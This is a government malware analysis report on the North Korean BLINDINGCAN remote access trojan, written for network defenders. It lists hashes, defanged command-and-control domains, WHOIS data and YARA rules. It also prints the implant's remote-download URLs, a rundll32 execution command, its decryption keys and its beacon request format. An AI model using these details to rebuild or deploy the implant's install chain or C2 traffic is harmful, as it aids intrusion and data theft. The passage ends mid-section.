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# Malware Analysis Report (AR20-232A)

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MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN

Original release date: August 19, 2020









# **Notification**

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# Summary

# Description

This Malware Analysis Report (MAR) is the result of analytic efforts between Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Remote Access Trojan (RAT) malware variants used by the North Korean government. This malware variant has been identified as BLINDINGCAN. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https://www[.]us-cert.gov/hiddencobra.



FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation. A threat group with a nexus to North Korea targeted government contractors early this year to gather intelligence surrounding key military and energy technologies. The malicious documents employed in this campaign used job postings from leading defense contractors as lures and installed a data gathering implant on a victim's system. This campaign utilized compromised infrastructure from multiple countries to host its command and control (C2) infrastructure and distribute implants to a victim's system. CISA and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware and report the activity to CISA or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation. The threat actor whose activity is described in this report may have included images of logos and products, such as the examples in this report, as a part of a social engineering strategy.

CISA received four Microsoft Word Open Extensible Markup Language (XML) documents (.docx), two Dynamic-Link Libraries (DLLs). The .docx files attempt to connect to external domains for a download. A 32-bit and a 64-bit DLL was submitted that install a 32-bit and a 64-bit DLL named "iconcache.db" respectively. The DLL "iconcache.db" unpacks and executes a variant of Hidden Cobra RAT. It contains built-in functions for remote operations that provide various capabilities on a victim's system.

For a downloadable copy of IOCs, see MAR-10295134-1.v1.stix.

# Submitted Files (6)

0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6 (0FC12E03EE93D19003B2DD7117A66A...)
158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17 (2\_7955fa7ab32773d17e0e94efeea6...)
586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e (1\_6cea7290883f0527dbd3e2df6446...)
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1 (4\_e7aa0237fc3db67a96ebd877806a...)
7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 (3\_56470e113479eacda081c2eeead1...)
d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 (D40AD4CD39350D718E189ADF45703E...)

#### Additional Files (6)

 $58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d \ (58027c80c6502327863ddca28c31d3...) \\ 7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd \ (7d507281e2e21476ff1af492ad9f57...) \\ 8b53b519623b56ab746fdaf14d3eb402e6fa515cde2113a07f5a3b4050e98050 \ (8b53b519623b56ab746fdaf14d3eb4...) \\ b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 \ (iconcache.db) \\ bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1 \ (e7718609577c6e34221b03de7e959a...) \\ d5186efd8502a3a99a66729cb847d3f4be8937a3fec1c2655b6ea81f57a314f5 \ (iconcache.db)$ 


#### Domains (4)

agarwalpropertyconsultants.com anca-aste.it

```
automercado.co.cr
curiofirenze.com
IPs (4)
192.99.20.39
199.79.63.24
51.68.152.96
54.241.91.49
```

# **Findings**

# 586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e



This file is a .docx file that is a zipped file containing XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file "1\_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx/word/\_rels/settings.xml.rels" attempts to connect to the following Uniform Resource Locator (URL) for a download:

--Begin External URL-hxxps[:]//agarwalpropertyconsultants.com/assets/form/template/img/boeing\_ia\_cm.jpg --End External URL--

The download was not available at the time of analysis.

#### Screenshots




Figure 1 - Screenshot of "1\_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx".

# agarwalpropertyconsultants.com

#### Tags

# command-and-control

#### **URLs**

• hxxps[:]//agarwalpropertyconsultants.com/assets/form/template/img/boeing\_ia\_cm.jpg

#### **Ports**

443 TCP

#### Whois

Domain Name: AGARWALPROPERTYCONSULTANTS.COM Registry Domain ID: 2430104516\_DOMAIN\_COM-VRSN

Registrar WHOIS Server: Whois.bigrock.com

Registrar URL: www.bigrock.com Updated Date: 2019-11-05T02:16:36Z Creation Date: 2019-09-05T06:07:18Z

Registrar Registration Expiration Date: 2020-09-05T06:07:18Z

Registrar: BigRock Solutions Ltd

Registrar IANA ID: 1495

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

Registry Registrant ID: Not Available From Registry

Registrant City: Mumbai

Registrant State/Province: Other Registrant Postal Code: 400102

Registrant Country: IN

Registry Admin ID: Not Available From Registry

Admin City: Mumbai

Admin State/Province: Other Admin Postal Code: 400102

Admin Country: IN

Registry Tech ID: Not Available From Registry

Tech City: Mumbai

Tech State/Province: Other Tech Postal Code: 400102

Tech Country: IN

Tech Phone: +91.9821112012

Name Server: ns1.bh-58.webhostbox.net Name Server: ns2.bh-58.webhostbox.net

**DNSSEC:** Unsigned

Registrar Abuse Contact Email: abuse@bigrock.com Registrar Abuse Contact Phone: +1-415-349-0015 URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

>>> Last update of WHOIS database: 2020-06-30T20:21:25Z <<<

# Relationships

 $agarwal property consultants. com \\ Connected\_From \\ 586d012540ed1244572906e3733a0cb4b \\ ba90a320da82f853e5dfac82c5c663e$ 

agarwalpropertyconsultants.com Resolved\_To 199.79.63.24

### Description

#### 199.79.63.24

#### Whois

Queried whois.arin.net with "n 199.79.63.24"...

NetRange: 199.79.62.0 - 199.79.63.255

CIDR: 199.79.62.0/23

NetName: PUBLICDOMAINREGISTRY-NETWORKS

NetHandle: NET-199-79-62-0-1 Parent: NET199 (NET-199-0-0-0)

NetType: Direct Allocation OriginAS: AS394695

Organization: PDR (PSUL-1)

RegDate: 2012-01-13 Updated: 2018-11-29

Ref: https://rdap.arin.net/registry/ip/199.79.62.0

OrgName: PDR Orgld: PSUL-1

Address: P.D.R Solutions LLC, 10, Corporate Drive, Suite 300

City: Burlington StateProv: MA PostalCode: 01803

Country: US

RegDate: 2015-08-04 Updated: 2019-11-07

Ref: https://rdap.arin.net/registry/entity/PSUL-1

OrgAbuseHandle: ABUSE5185-ARIN OrgAbuseName: Abuse Admin

<sup>&</sup>quot;1\_6cea7290883f0527dbd3e2df64462684.8d179113e963d81adbf8d39ceff456afac3dae16.docx" attempts to connect to this domain.

OrgAbusePhone: +1-415-230-0648

OrgAbuseEmail: abuse@publicdomainregistry.com

OrgAbuseRef: https://rdap.arin.net/registry/entity/ABUSE5185-ARIN

OrgNOCHandle: NOC32406-ARIN

OrgNOCName: NOC

OrgNOCPhone: +1-415-230-0680

OrgNOCEmail: noc@publicdomainregistry.com

OrgNOCRef: https://rdap.arin.net/registry/entity/NOC32406-ARIN

OrgTechHandle: TECH953-ARIN

OrgTechName: Tech

OrgTechPhone: +1-415-230-0680

OrgTechEmail: ipadmin@publicdomainregistry.com

OrgTechRef: https://rdap.arin.net/registry/entity/TECH953-ARIN

OrgRoutingHandle: EIGAR-ARIN OrgRoutingName: eig-arin

OrgRoutingPhone: +1-781-852-3200

OrgRoutingEmail: eig-net-team@endurance.com

OrgRoutingRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgNOCHandle: EIGAR-ARIN OrgNOCName: eig-arin

OrgNOCPhone: +1-781-852-3200

OrgNOCEmail: eig-net-team@endurance.com

OrgNOCRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgDNSHandle: EIGAR-ARIN OrgDNSName: eig-arin

OrgDNSPhone: +1-781-852-3200

OrgDNSEmail: eig-net-team@endurance.com

OrgDNSRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

OrgTechHandle: EIGAR-ARIN OrgTechName: eig-arin

OrgTechPhone: +1-781-852-3200

OrgTechEmail: eig-net-team@endurance.com

OrgTechRef: https://rdap.arin.net/registry/entity/EIGAR-ARIN

# Relationships


199.79.63.24 Resolved\_To

agarwalpropertyconsultants.com

Description

Domain "agarwalpropertyconsultants.com" resolved to this Internet Protocol (IP) address during analysis.

#### 158ddb85611b4784b6f5ca7181936b86eb0ec9a3c67562b1d57badd7b7ec2d17



This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file "2\_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx/word/\_rels/settings.xml.rels" attempts to connect to the following URL for a download:

--Begin External URL-hxxps[:]//www[.]anca-aste.it/uploads/form/boeing\_iacm\_logo.jpg --End External URL--

The download was not available at the time of analysis.

# Screenshots




Figure 2 - Screenshot of "2\_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx".

#### 7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971



Name	
Size	521660 bytes
Туре	Microsoft Word 2007+
MD5	56470e113479eacda081c2eeead153bf
SHA1	c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e
SHA256	7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971
SHA512	0111578f53189915a7f39f755087a283b60196283393d7979bc7a65f462c8af646579a57b0d4693bffdca0ceb92e2bad26 720c4418b1cbb21ee2b216e7f763a5
ssdeep	12288:GaF6pLikGz2wx0zqb/RXkIUsYqpd4zRgE/CcfLqpd4zRgE/CcftKv:GaspLiewxgi/lkIUs5pdSgEj+pdSgEjG
Entropy	7.916144

Antivirus	
Ahnlab	Downloader/Doc.Generic
Antiy	Trojan/Win32.Casdet
Avira	W97M/Dldr.Agent.iscqo
BitDefender	Trojan.GenericKD.33913186
ClamAV	Win.Malware.Agent-8366038-0
Comodo	Malware
Cyren	DOCX/Gamaredon.A.gen!Camelot
ESET	DOC/TrojanDownloader.Pterodo.A trojan
Emsisoft	Trojan.GenericKD.33913186 (B)
Ikarus	Trojan-Downloader.DOC.Agent
Lavasoft	Trojan.GenericKD.33913186
McAfee	Trojan-FRVP!AF83AD63D2E3
Microsoft Security Essentials	Trojan:Win32/Casdet!rfn
NANOAV	Exploit.Xml.CVE-2017-0199.equmby
NetGate	Trojan.Win32.Malware
Sophos	Troj/DocDl-ZFL
Symantec	Trojan.Gen.NPE
TrendMicro	Trojan.9A84BBAC
TrendMicro House Call	Trojan.9A84BBAC

# YARA Rules

No matches found.

ssdeep Matches

No matches found.

# Relationships

7933716892... Connected\_To anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, the XML file "3\_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx/word/\_rels/settings.xml.rels" attempts to connect to the following URL for a download:

--Begin External URL-hxxps[:]//www[.]anca-aste.it/uploads/form/boeing\_spectrolab\_logo.jpg --End External URL--

The download was not available at the time of analysis.

Screenshots




Figure 3 - Screenshot of "3\_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx".

# 6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1



Antivirus

**Ahnlab** Downloader/MSOffice.Generic

**Antiy** Trojan[Exploit]/MSOffice.CVE-2017-0199

**Avira** W97M/Dldr.Agent.axzdz

ClamAV Win.Malware.Agent-8366007-0

**ESET** DOC/TrojanDownloader.Agent.BHQ trojan

Ikarus Trojan-Downloader.DOC.Agent

McAfee Trojan-FRVP!63178C414AF9

Microsoft Security Essentials | Exploit:O97M/CVE-2017-0199!MTB

NANOAV Exploit.Xml.CVE-2017-0199.equmby

**NetGate** Trojan.Win32.Malware

SophosTroj/DocDl-YVZSymantecTrojan.Mdropper

TrendMicro TROJ\_FR.9B7AA4A0

TrendMicro House Call | TROJ\_FR.9B7AA4A0

YARA Rules

No matches found.

ssdeep Matches

586d012540ed1244572906e3733a0cb4bba90a320da82f853e5dfac82c5c663e

Relationships

6a3446b8a4... Connected\_To anca-aste.it

Description

This is a .docx file that is a zipped container of XML files in a directory structure.

Once opened in an application capable of displaying .docx files, one of its XML files (4\_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx/word/\_rels/settings.xml.rels) connects to the following URL for a download.

--Begin External URL-hxxps[:]//www[.]anca-aste.it/uploads/form/boeing\_jd\_t034519.jpg --End External URL--

The download was not available at the time of analysis.

#### Screenshots




Figure 4 - Screenshot of "4\_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx".

#### anca-aste.it

#### Tags

# command-and-control

#### URLs

- hxxps[:]//www[.]anca-aste.it/uploads/form/boeing\_iacm\_logo.jpg
- hxxps[:]//www[.]anca-aste.it/uploads/form/boeing\_jd\_t034519.jpg
- hxxps[:]//www[.]anca-aste.it/uploads/form/boeing\_spectrolab\_logo.jpg

#### **Ports**

• 443 TCP

#### Whois

Domain: anca-aste.it

Status: ok Signed: no

Created: 2006-03-02 00:00:00 Last Update: 2019-07-22 01:05:20

Expire Date: 2020-07-06

# Registrant

Created: 2017-07-05 14:28:22 Last Update: 2017-07-05 14:28:22

# **Admin Contact**

Name: Gabriele Crepaldi

Organization: Gabriele Crepaldi

Address: Via Della Spiga 52, Milano, 20121, MI, IT

Created: 2017-07-05 14:28:22 Last Update: 2017-07-05 14:28:22

Technical Contacts Name: hidden

Organization: hidden

# Registrar

Organization: CWNET srl Name: CWNET-REG

Web: http://www.cwnet.it

#### DNSSEC: no

Nameservers ns.thetiscloud1.it ns.thetiscloud2.it

#### Relationships

anca-aste.it	Resolved_To	51.68.152.96
anca-aste.it	Connected_From	6a3446b8a47f0ab4f536015218b22653fff 8b18c595fbc5b0c09d857eba7c7a1
anca-aste.it	Connected_From	158ddb85611b4784b6f5ca7181936b86e b0ec9a3c67562b1d57badd7b7ec2d17
anca-aste.it	Connected_From	7933716892e0d6053057f5f2df0ccadf5b0 6dc739fea79ee533dd0cec98ca971

### Description

Files "2\_7955fa7ab32773d17e0e94efeea69cf4.e83cf8a6a4b24bd5d2b8ce4364d79fa8d4db6c6a.docx",

#### 51.68.152.96

# Whois

Queried whois.ripe.net with "-B 51.68.152.96"...

% Information related to '51.68.152.0 - 51.68.155.255'

% Abuse contact for '51.68.152.0 - 51.68.155.255' is 'abuse@ovh.net'

inetnum: 51.68.152.0 - 51.68.155.255

netname: SD-1G-WAW1-W13B

country: PL

org: ORG-OS23-RIPE admin-c: OTC12-RIPE tech-c: OTC12-RIPE status: LEGACY

mnt-by: OVH-MNT

created: 2018-07-27T14:04:34Z last-modified: 2018-07-31T15:24:23Z

source: RIPE

geoloc: 52.22552421.049737

<sup>&</sup>quot;3\_56470e113479eacda081c2eeead153bf.c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e.docx" and

<sup>&</sup>quot;4\_e7aa0237fc3db67a96ebd877806a2c88.0ecc687d741c7b009c648ef0de0a5d47213f37ff.docx" attempt to connect to this domain.

organisation: ORG-OS23-RIPE org-name: OVH Sp. z o. o.

org-type: OTHER

address: ul. Swobodna 1 address: 50-088 Wroclaw

address: Poland e-mail: noc@ovh.net admin-c: OTC2-RIPE mnt-ref: OVH-MNT mnt-bv: OVH-MNT

created: 2005-09-02T12:40:01Z last-modified: 2019-08-08T07:47:57Z

source: RIPE

role: OVH PL Technical Contact

address: OVH Sp. z o. o. address: ul. Swobodna 1 address: 54-088 Wroclaw

address: Poland e-mail: noc@ovh.net admin-c: OK217-RIPE tech-c: GM84-RIPE nic-hdl: OTC12-RIPE

abuse-mailbox: abuse@ovh.net

notify: noc@ovh.net mnt-by: OVH-MNT

created: 2009-09-16T16:09:56Z last-modified: 2019-08-08T07:50:01Z

source: RIPE

% Information related to '51.68.0.0/16AS16276'

route: 51.68.0.0/16 origin: AS16276 mnt-by: OVH-MNT

created: 2018-03-07T09:22:39Z last-modified: 2018-03-07T09:22:39Z

source: RIPE

% This query was served by the RIPE Database Query Service version 1.97.2 (HEREFORD)

#### Relationships

51.68.152.96 Resolved To anca-aste.it

# Description

Domain "anca-aste.it" resolved to this IP during analysis.

#### d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

# Tags

dropper

trojan

#### Details

D40AD4CD39350D718E189ADF45703EB3A3935A7CF8062C20C663BC14D28F78C9 Name

724480 bytes Size

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Type

MD5 18cfd7e01da5d30a27a885164d5a7b9b

SHA1 40c5103cd9681a2830667957f3e3d037fd25b6c9

**SHA256** d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9

6724ed963fa7ffd1cb3b76a72890b385bcd080a66428f18531f1432a973896d98e9405bd02952ae81b4a6d6294a73cde5 SHA512

911e9998e4f9dae53a2a385ab78e036

ssdeep 12288:u4VYMsRKftZAli/I9j2OShndRYMaU4vdXScW2EmBYWK323b1zvpjUSqon01y:jwKbA9XSJ4i4vdEGYfahBjk5

Entropy 7.960508

## Antivirus

BitDefender Gen:Trojan.Heur.Su4@!RdqOMbi

Emsisoft Gen:Trojan.Heur.Su4@!RdqOMbi (B)

Gen:Trojan.Heur.Su4@!RdqOMbi Lavasoft

Symantec Heur.AdvML.B

#### YARA Rules

No matches found.

ssdeep Matches

No matches found.

#### PE Metadata

**Compile Date** 

2020-05-20 02:03:53-04:00

Import Hash 513e6f9be441b608d02560144adad488

PE Sections			
MD5	Name	Raw Size	Entropy
6dead31f52ae9c89182635c7bc5363ff	header	1024	2.447679
4eb9a889d49c201486c6a9844c0a3861	.text	28160	6.512256
2564f80bde6880569bc81d572ffd85c6	.rdata	9216	4.772079
4f06d9f35e1f31817d4205f0cda45316	.data	680448	7.992807
aedd1ea7e39bc6c20eb7c1a31ee31945	.rsrc	512	5.114293
4de4bb5980c9ffde6d9809bca8589667	.reloc	5120	3.162603

# Packers/Compilers/Cryptors

Microsoft Visual C++ DLL \*sign by CodeRipper

# Relationships

d40ad4cd39... Dropped

b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9

#### Description

This application is a 32-bit DLL. Upon execution, it decodes an embedded Ultimate Packer for Executables (UPX) packed DLL using a hard-coded XOR key: "0x59". The decoded DLL is installed and executed from "C:\ProgramData\iconcache.db" (b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9) with the following command:

# b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9

#### Tags obfuscated remote-access-trojan **Details** iconcache.db Name 676864 bytes Size Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed MD5 c627db421adaaa320d3ac42396c89f8a SHA1 dcf95cd96203e794724fc14e454e63fba9afe82a **SHA256** b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 bcc0a6688b5a282802700382d72e11663015946a95c701df82fdab164b6ef6889e180617a284e604e931ffc046ec1fd20a SHA512

<sup>--</sup>Begin Command--

<sup>&</sup>quot;C:\Windows\System32\rundll32.exe C:\ProgramData\iconcache.db,SMain S-6-12-2371-68143633-837395-7851"

<sup>--</sup>End Command--

c6e20357ec916bada7df4711800290

ssdeep

12288:UloPYtyI4lSa/gwZyVJKlI/mjGENKw4tv1ALs7wboS:eoQp4lSWgwZy6lUkh4N2Ls7w

Entropy

7.994989

Path

C:\ProgramData\iconcache.db

# Antivirus

No matches found.

# YARA Rules

No matches found.

# ssdeep Matches

No matches found.

### PE Metadata

**Compile Date** 2019-10-30 22:22:32-04:00

**Import Hash** bddf350b1495019b036eb25682895735

**Company Name** TODO: <Company name> **File Description** TODO: <File description>

Internal Name | MFC\_DLL.dll

**Legal Copyright** TODO: (c) < Company name > . All rights reserved.

Original Filename | MFC\_DLL.dll

**Product Name** TODO: < Product name>

**Product Version** 1.0.0.1

#### PE Sections

MD5	Name	Raw Size	Entropy
ee27480742e19dfbbedf334ca52aafa5	header	1024	2.713911
d41d8cd98f00b204e9800998ecf8427e	UPX0	0	0.000000
f13bc7e5f532956e1c5490d27d9b9eb0	UPX1	670720	7.999480
80eb6e1fc17919b7444d34b73621166f	.rsrc	5120	3.981460

# Packers/Compilers/Cryptors

ACProtect 1.3x - 1.4x DLL -> Risco Software Inc.

# Relationships

b70e66d387	Connected_To	curiofirenze.com
b70e66d387	Connected_To	automercado.co.cr

b70e66d387	Dropped_By	d40ad4cd39350d718e189adf45703eb3a 3935a7cf8062c20c663bc14d28f78c9
b70e66d387	Contains	bdfd16dc53f5c63da0b68df71c6e61bad3 00e59fd5748991a6b6a3650f01f9a1
b70e66d387	Contains	7d507281e2e21476ff1af492ad9f574b14c bf77eb4cda9b67e4256318c7c6bbd

# Description

This application is a 32-bit UPX packed DLL installed by d40ad4cd39350d718e189adf45703eb3a3935a7cf8062c20c663bc14d28f78c9 into the C:\ProgramData\iconcache.db" directory. During execution, it uses the Advanced Encryption Standard (AES) cipher to decrypt and then decompress two embedded DLL binaries

bdfd16dc53f5c	63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1
Tags	
backdoor	remote-access-trojan trojan
Details	
Name	e7718609577c6e34221b03de7e959a8c
Size	163840 bytes
Туре	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5	e7718609577c6e34221b03de7e959a8c
SHA1	97d24ac0d773f6260ab512fa496099b3289210db
SHA256	bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1
SHA512	95aab6ef454c364b63002df7949c33602964d0905b4a23511bd9462aa5037c71a933f8bf3a3d650be76926e92bcf39e36
ssdeep	1536:/XhDZIPNWfFTIL1uWPgNquuGCoGSfYz57wmF87GbSaW1nqBQlBS4AF3Tlhrim:/xwWmBLPgNZeTSfE5UmfQqT 3TlhW
Entropy	5.585632
Antivirus	
Ahnlab	Backdoor/Win32.Akdoor
ESET	a variant of Win32/NukeSped.GT trojan
Symantec	Heur.AdvML.B
YARA Rules	

<sup>&</sup>quot;bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1" and

<sup>&</sup>quot;7d507281e2e21476ff1af492ad9f574b14cbf77eb4cda9b67e4256318c7c6bbd" in memory. These binaries are loaded and executed in memory during runtime.

```
• rule CISA_10135536_06: trojan rat HIDDENCOBRA BLINDINGCAN
   meta:
     Author = "CISA Code & Media Analysis"
     Incident = "10135536"
     Date = "2018-05-04"
     Actor = "HiddenCobra"
     Category = "Trojan RAT"
     Family = "BLINDINGCAN"
     Description = "Detects 32bit HiddenCobra BLINDINGCAN Trojan RAT"
     MD5 1 = "f9e6c35dbb62101498ec755152a8a67b"
     SHA256 1="1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954"
     MD5 2 = "d742ba8cf5b24affdf77bc6869da0dc5"
     SHA256 2 = "7dce6f30e974ed97a3ed024d4c62350f9396310603e185a753b63a1f9a2d5799"
     MD5_3 = "aefcd8e98a231bccbc9b2c6d578fc8f3"
     SHA256_3 = "96721e13bae587c75618566111675dec2d61f9f5d16e173e69bb42ad7cb2dd8a"
     MD5 4 = "3a6b48871abbf2a1ce4c89b08bc0b7d8"
     SHA256 4="f71d67659baf0569143874d5d1c5a4d655c7d296b2e86be1b8f931c2335c0cd3"
   strings:
     $s0 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
     $s1 = { 50 4D 53 2A 2E 74 6D 70 }
     $s2 = { 79 67 60 3C 77 F9 BA 77 7A 56 1B 68 51 26 11 96 B7 98 71 39 82 B0 81 78 }
   condition:
     any of them
• rule CISA_10295134_01 : rat trojan HIDDENCOBRA BLINDINGCAN
   meta:
     Author = "CISA Code & Media Analysis"
     Incident = "10295134"
     Date = "2020-07-28"
     Last_Modified = "20200730_1030"
     Actor = "HiddenCobra"
     Category = "Trojan RAT"
     Family = "BLINDINGCAN"
     Description = "Detects 32 and 64bit HiddenCobra BlindingCan Trojan RAT"
     MD5_1 = "e7718609577c6e34221b03de7e959a8c"
     SHA256 1="bdfd16dc53f5c63da0b68df71c6e61bad300e59fd5748991a6b6a3650f01f9a1"
     MD5 2 = "6c2d15114ebdd910a336b6b147512a74"
     SHA256 2 = "58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d"
   strings:
```

```
$s0 = { C7 44 24 20 0D 06 09 2A C7 44 24 24 86 48 86 F7 C7 44 24 28 0D 01 01 01 C7 44 24 2C 05 00 03 82 }
 $s1 = { C7 45 EC 0D 06 09 2A C7 45 F0 86 48 86 F7 C7 45 F4 0D 01 01 01 C7 45 F8 05 00 03 82 }
condition:
 $s0 or $s1
```

#### ssdeep Matches

**93** 5665fa000b3cd52ceae755d35ca698e50cfb9c952cfdc70610b3a262e87be210

#### PE Metadata

**Compile Date** 

2020-05-19 03:26:30-04:00

Import Hash | 920679e3a916eba5c0309f6381f49d76

#### PE Sections

12 000010			
MD5	Name	Raw Size	Entropy
3c4d32746197a23e043dec30c3f17502	header	1024	2.462178
c7b7bc3bf34654bd45c303561f9359e1	.text	81920	6.658611
a0605f0296280e16d350cf78eb70a0d3	.rdata	25088	6.630270
88750685639a22c3e4bcb15f40390ff9	.data	12800	3.648302
51741feb8529e34f47173f59abe8b19b	.rsrc	512	5.105616
b87183316e04b075a0da8e286b297fdb	.reloc	7680	5.057386

# Packers/Compilers/Cryptors

Microsoft Visual C++ DLL \*sign by CodeRipper

# Relationships

bdfd16dc53	Contained_Within	b70e66d387e42f5f04b69b9eb15306036 702ab8a50b16f5403289b5388292db9
bdfd16dc53	Connected_To	curiofirenze.com
bdfd16dc53	Connected_To	automercado.co.cr

# Description

This application is a malicious 32-bit DLL unpacked and executed by

"b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9". This binary has been identified as a variant of a Hidden Cobra RAT. This file contains embedded configuration data (2704 bytes). The data is decrypted using a hard-coded AES decryption key "XEUFC1L3DF3C2ROU" before being decoded using an XOR cipher. Displayed below is the content of the decoded data:

<sup>--</sup>Begin configuration data--

hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp hxxps[:]//www[.]automercado.co.cr/empleo/css/main.jsp hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp hxxps[:]//www[.]curiofirenze.com/include/inc-site.asp c:\windows\system32\cmd.exe %temp% --End configuration data--

The malware decrypts its strings using a hard-coded RC4 key: "0D 06 09 2A 86 48 86 F7 0D 01 01 01 05 00 03 82". Displayed below are sample decrypted strings observed during analysis:

--Begin decrypted strings--

"Hardware\Description\System\CentralProcessor\0"

"ProcessorNameString"

"boardid, bbsNo, strBoardID, userid, bbsfilename, code, pidseqNo, ReportID, v, PageNumbernumviewread, action, pagemodeidx, cateId, bbsId, pType, pcode, index, tblidx\_num, act, bbs\_id, bbs\_form, bidbbscate, menutcode, b\_code, bname, tb, borad01, borad02, borad03, midnewsid, table, Board\_seq, bc\_idx, seqArticleIDB\_Notice, nowPage, webid, boardDiv, sub\_idx" "\\tsclient\"

-- End decrypted strings--

It collects the following information about the victim's system and beacons the collected data to the C2 "curiofirenze.com" and "automercado.co.cr":

--Begin system information-Operating system (OS) version information
Processor information
System name
Local IP address information
Media access control (MAC) address.
--End system information--

It attempts to retrieve the User-Agent string from the victim's system. If not available, it uses the following embedded User-Agent string:

--Begin User-Agent String--

"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36".

--End User-Agent String--

It will generate HTTP POST requests with the following format:

--Begin HTTP POST format--

POST /<uri> HTTP/1.1 Connection: Keep-Alive Cache-Control: no-cache

Content-Type: application/x-www-form-urlencoded

Accept: \*/\*

User-Agent: <obtained from ObtainUserAgentString otherwise: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36

(KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 >

Host: <domain>

Content-Length: <length>

id=<nine random character generated RC4 key><three\_random\_param\_selected>&<second parameter>=<sessionID>&<third parameter >=<hard-coded\_String>&<fourth parameter>=<datagram>
--End HTTP POST format--

The HTTP POST body contains four parameters of Base64 encoded data as displayed below:

--Begin four parameters--

Four parameters: id=<nine random character generated RC4 key><three\_random\_param\_selected>&<second parameter>= <sessionID>&<third parameter>=<hard-coded\_String>&<fourth parameter>=<datagram>

Sample: id=Z2ptZmx0b250JpzkM7R+AAxesq7t1Eo4Dg==&page=bsyybw==&bbsNo=AszBYcolV00l69W9ihtkLg==&bname=" --End four parameters--

The first parameter tag, 'id=', will consist of two separate Base64 encoded parts. The first part consists of a Base64 encoded nine random generated lower case character RC4 key used for encryption. The second part of the 'id=' parameter tag will contain three parameters randomly selected from a list of the below strings. These three randomly selected name tags are colon delimited and stored in the following format: "first name tag:second name tag:third name tag". This data is encrypted using the nine random character generated RC4 key and Base64 encoded.

--Begin randomly selected string tags--

